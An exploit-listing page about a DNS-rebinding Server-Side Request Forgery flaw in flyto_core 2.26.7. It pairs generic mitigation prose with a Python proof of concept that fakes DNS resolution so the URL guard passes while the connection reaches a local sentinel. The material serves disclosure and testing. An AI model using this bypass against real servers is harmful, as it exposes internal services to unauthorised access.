Skip to main content

flyto_core 2.26.7 – Server-Side Request Forgery

Categories: WebApps

Understanding the flyto_core 2.26.7 Server-Side Request Forgery Vulnerability

The flyto_core 2.26.7 vulnerability is a critical Server-Side Request Forgery (SSRF) flaw that allows attackers to send unauthorized requests from the server to internal or external systems. This vulnerability can be exploited to manipulate server behavior, potentially leading to unauthorized data access or disruption of services.

Technical Details

SSRF vulnerabilities occur when an application takes user input and uses it to make requests to other servers without proper validation. In the case of flyto_core 2.26.7, the flaw lies in how the application processes URL parameters. An attacker can craft a malicious request that targets internal resources, such as metadata services or administrative interfaces, which are typically not exposed to the public. For instance, by manipulating the request to access http://localhost/admin, an attacker could gain access to sensitive administrative functionalities.

Moreover, this vulnerability could be leveraged to conduct further attacks, such as port scanning or extracting sensitive information from other services running on the same network. If the application runs with elevated privileges, the potential for damage increases significantly.

Impact

The consequences of exploiting the flyto_core 2.26.7 SSRF vulnerability can be severe. Attackers could gain unauthorized access to sensitive data, perform internal reconnaissance, or even pivot to other systems within the network. As a result, organizations may face data breaches, regulatory fines, and reputational damage.

Mitigation Strategies

To protect against the flyto_core SSRF vulnerability, organizations should implement several key strategies. First, input validation is essential; ensure that user inputs are sanitized and validated against a whitelist of acceptable URLs. Additionally, consider employing network segmentation to limit access to sensitive internal services, restricting which servers can be contacted by the application.

Moreover, regularly update and patch software dependencies to mitigate known vulnerabilities. Conducting thorough security assessments, including penetration testing and code reviews, can also help identify and remediate potential SSRF vulnerabilities before they are exploited. Security professionals should remain vigilant and proactive in their approach to safeguarding their systems against such threats.

Proof of Concept (PoC)

poc.py
# Exploit Title: flyto_core 2.26.7- Server-Side Request Forgery 

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/flytohub/flyto-core 

# Software Link: https://github.com/flytohub/flyto-core 

# Version: flyto-core <= 2.26.7 (fixed 2.26.8)

# Tested on: Linux

# CVE: N/A

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-6pm8-6f34-9v3g-flyto-core 



validate_url_ssrf() validates a resolved IP but the client re-resolves and connects without pinning; a TTL=0 rebind reaches internal targets. Advisory: GHSA-6pm8-6f34-9v3g.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (poc_dns_rebinding.py) ---

"""PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).

Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo

flips public->private across successive lookups exactly as an attacker TTL=0 DNS does.

The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the

sentinel (private) -> internal reach that the guard was supposed to block."""

import os, sys, socket, threading, time

sys.path.insert(0, os.path.join(os.getcwd(), "src"))

from core.utils import validate_url_ssrf, SSRFError



# 1) internal "service" sentinel: raw TCP listener on loopback

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

import errno

for _p in (8080, 8443):

    try:

        srv.bind(("127.0.0.1", _p)); break

    except OSError:

        continue

else:

    raise SystemExit("no allowed port free")

srv.listen(1)

PORT = srv.getsockname()[1]

hit = {"internal": False}

def accept_once():

    try:

        c,_ = srv.accept(); hit["internal"] = True; c.close()

    except OSError:

        pass

threading.Thread(target=accept_once, daemon=True).start()



HOST = "rebind.attacker.test"

PUBLIC = "93.184.216.34"   # example.com, public -> guard must ALLOW



# 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1

_real = socket.getaddrinfo

calls = {"n": 0}

def flipping_getaddrinfo(host, port, *a, **k):

    if host == HOST:

        calls["n"] += 1

        ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"

        return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]

    return _real(host, port, *a, **k)

socket.getaddrinfo = flipping_getaddrinfo



# 3) GUARD runs (resolves #1 = public) -> should PASS

try:

    validate_url_ssrf(f" http://{HOST}:{PORT}/ ")

    print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/   (saw public {PUBLIC} on resolution #1)")

except SSRFError as e:

    print("[guard] blocked (rebinding not effective):", e); sys.exit(0)



# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel

try:

    s = socket.create_connection((HOST, PORT), timeout=3); s.close()

except OSError as e:

    print("[connect] error:", e)

time.sleep(0.2)

socket.getaddrinfo = _real

print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}")

print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"

      if hit["internal"] else "NOT CONFIRMED")

srv.close()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...